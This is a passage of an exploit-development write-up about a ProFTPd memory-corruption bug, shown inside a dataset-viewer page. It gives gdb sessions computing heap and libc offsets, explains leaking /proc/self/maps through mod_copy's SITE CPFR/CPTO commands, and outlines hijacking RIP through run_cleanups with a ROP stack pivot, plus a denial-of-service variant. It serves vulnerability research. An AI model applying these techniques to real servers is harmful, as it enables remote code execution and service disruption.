text stringlengths 0 1.99k |
|---|
gef➤ |
gef➤ p/x 0x56259ed1e770 - 0x000056259ed00000 |
$23 = 0x1e770 |
gef➤ p/x 0x56259ecee198 - 0x000056259ecbe000 |
$24 = 0x30198 |
gef➤ p/x 0x56259ecf51a8 - 0x000056259ecbe000 |
$25 = 0x371a8 |
gef➤ |
We now have the offsets we should use. I tried to find objects in the same |
memory page, but had no luck. |
gef➤ set $rp_mempage = (unsigned long int)resp_pool & 0xfffffffffffff000 |
gef➤ x/256a $rp_mempage |
0x555555712000: 0x0 0x0 |
0x555555712010: 0x0 0x0 |
0x555555712020: 0x0 0x0 |
0x555555712030: 0x0 0x0 |
0x555555712040: 0x0 0x0 |
@lockedbyte gave me the idea to get the memory layout from the process |
/proc/self/maps file. Now we can use SITE CPFR and SITE CPTO commands to |
download this file. Basically we copy /proc/self/maps to a writable |
directory and RETR it, then we reflect memory heap and libc base addresses |
into our offsets and payload. The downside is that ProFTPd should have been |
compiled with mod_copy. Also, chroot() protection should not be enforced by |
the server, which makes /proc/ not accessible. |
In the final exploit, we read from this file to calculate the offsets, |
exactly how we did using vmmap command in gdb. |
----[ 5.5 - Final RIP control methodology |
Finally, combining everything we learned until now, this is the final |
memory layout we should see: |
gef➤ vmmap heap |
Start End Perm Path |
0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap] |
0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap] |
gef➤ set $start = 0x0000555555677000 |
gef➤ set $end = 0x00005555556c5000 |
gef➤ p/x (char *)resp_pool - $end |
$32 = 0x236a0 |
gef➤ p/x (char *)gid_tab - $start |
$33 = 0x3e6d8 |
gef➤ p/x (char *)session.curr_cmd_rec->notes - $start |
$34 = 0x459c8 |
We will use the offsets show above in the exploit, because ASLR plays a |
huge impact here. By using these memory objects, we may gain some control |
over RIP. |
src/pool.c: |
854 static void run_cleanups(cleanup_t *c) { |
855 while (c) { |
856 if (c->plain_cleanup_cb) { |
857 (*c->plain_cleanup_cb)(c->data); |
858 } |
859 |
860 c = c->next; |
861 } |
────────────────────────────────────────────────────────────────────────── |
When run_cleanups() gets executed, we should see our token: |
gef➤ p *c |
$6 = { |
data = 0x560f1919d6f8, |
plain_cleanup_cb = 0x7711111111111177 |
child_cleanup_cb = 0x4141414141414141, # will be our stack |
next = 0x9090909090909090 |
} |
now in gdb: `break pool.c:856 if c == 0x771111111177` |
The idea is to substitute this token with our first ROP gadget. To build |
the our ROP chain, we will use the `ropper` tool to find gadgets. |
Our first ROP gadget should point to <authnone_marshal+16> from libc, |
which contains: |
push rax |
pop rsp |
lea rsi,[rax+0x48] |
mov rax,QWORD PTR [rdi+0x8] |
jmp QWORD PTR [rax+0x18] |
Check the full exploit for all the code. |
--[ 6 - Other exploitation strategies |
----[ 6.1 - Kill the Gibson: causing a DoS |
There's a chance to cause a DoS (infinite loop) when we point the |
resp_pool->last to $rsp + 0x60 and idx==6. I tested this and it's |
simple to achieve. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.